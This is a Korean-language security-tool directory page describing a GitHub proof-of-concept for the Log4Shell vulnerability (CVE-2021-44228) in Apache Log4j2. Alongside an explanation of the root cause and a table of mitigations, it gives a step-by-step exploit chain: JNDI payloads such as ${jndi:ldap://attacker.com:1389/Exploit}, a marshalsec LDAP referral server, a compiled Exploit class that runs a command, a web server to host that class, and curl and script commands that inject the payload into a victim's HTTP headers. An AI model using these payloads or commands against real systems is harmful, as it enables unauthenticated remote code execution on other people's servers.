Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2021-44228-log4shell_rce_reproduction — CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI 주입 RCE | Kitploit
도구/GitHubGitHub/razureink/cve-2021-44228-log4shell_rce_reproduction
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access Tool
GitHubrazureink/cve-2021-44228-log4shell_rce_reproduction

cve-2021-44228-log4shell_rce_reproduction

CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI 주입 RCE

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
27일 전아직 검토되지 않음

CVE-2021-44228 — Log4Shell: Apache Log4j2 원격 코드 실행

CVSS 10.0 치명적 | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 | CWE-917: 표현식 언어 주입에 대한 부적절한 중화

개요

Log4Shell(CVE-2021-44228)은 2020년대 가장 심각한 취약점으로 꼽히며, Apache Log4j2 2.0~2.14.1 버전에 영향을 미칩니다. 2021년 11월 Alibaba Cloud Security의 Chen Zhaojun이 발견했고 2021년 12월 9일에 공개적으로 알려졌으며, 전 세계 수억 대의 서버에서 인증 없는 원격 코드 실행을 가능하게 합니다.

이 취약점은 Log4j2의 JNDI(Java Naming and Directory Interface) 조회 기능에서 발생하며, 로그 메시지에 ${jndi:ldap://attacker.com/a}와 같은 임의의 조회 문자열을 허용합니다. 이러한 패턴을 포함한 사용자 제어 문자열이 기록되면 Log4j2는 JNDI 조회를 수행하여 원격 Java 클래스를 로드하고 실행할 수 있습니다.

기술적 세부 사항

근본 원인

Log4j2는 로그 메시지의 ${...} 패턴을 다양한 소스(JNDI, 환경 변수, 시스템 속성 등)의 값으로 대체하는 "Message Lookup"이라는 기능을 도입했습니다. JndiLookup 클래스(org.apache.logging.log4j.core.lookup.JndiLookup)는 적절한 검증 없이 공격자가 제어하는 문자열에 대해 InitialContext.lookup()을 호출합니다.

root@kitploit:~
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
    if (key == null) {
        return null;
    }
    try {
        // Directly passes attacker-controlled key to JNDI lookup
        return JndiManager.getJndiManager().lookup(key);
    } catch (...

lookup() 메서드는 javax.naming.InitialContext.lookup()에 위임하며, LDAP, RMI, DNS 또는 CORBA 서버에서 원격 객체를 로드할 수 있습니다.

공격 흐름

root@kitploit:~
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM

영향을 받는 버전

재현

설정(LDAP 참조 서버)

marshalsec를 사용하여 악성 LDAP 서버를 시작합니다:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

Exploit 클래스 컴파일

root@kitploit:~
// Exploit.java
public class Exploit {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
root@kitploit:~
javac Exploit.java
python3 -m http.server 80  # Serve Exploit.class

트리거

root@kitploit:~
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'

또는 HTTP 헤더를 통해:

root@kitploit:~
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com

PoC 코드

포함된 exploit.py는 다음 기능을 제공합니다:

  • JNDI 주입 페이로드 생성(LDAP, RMI, DNS 변형)
  • 일반적인 대상에 대한 HTTP 헤더 주입
  • 자동화된 LDAP 참조 서버 모드
  • marshalsec 연동 또는 단독 실행

완화 조치

참고 자료

  • NVD: CVE-2021-44228
  • Apache Log4j 보안 권고
  • CISA Log4j 지침
  • Lunasec Log4Shell 분석
도구 다운로드
버전상태
Log4j 2.0 – 2.14.1취약함
Log4j 2.15.0-rc1부분 수정(CVE-2021-45046 우회 가능)
Log4j 2.15.0제한적 수정(기본적으로 JNDI 비활성화, 제한된 조회)
Log4j 2.16.0JNDI 비활성화, Message Lookups 제거
Log4j 2.17.02.x 최종 수정(CVE-2021-44832)
Log4j 1.x직접적인 영향 없음(다른 코드베이스)
접근 방식세부 사항
Log4j 업그레이드2.17.0+(2.x) 또는 2.12.4+(Java 7)로 업데이트
JVM 플래그-Dlog4j2.formatMsgNoLookups=true
JndiLookup 제거zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
WAF 규칙요청에서 ${jndi: 패턴 차단
네트워크 제어신뢰할 수 없는 서버로의 아웃바운드 LDAP/RMI 차단